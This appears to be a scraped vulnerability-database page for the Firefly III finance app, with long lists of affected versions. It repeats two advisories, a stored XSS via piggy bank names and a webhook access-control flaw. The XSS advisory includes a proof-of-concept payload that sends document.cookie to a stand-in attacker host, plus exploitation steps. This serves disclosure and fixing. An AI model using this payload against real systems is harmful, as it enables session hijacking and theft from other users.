            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 01, 2025

v6.4.2 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 07, 2025

v6.4.1 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2

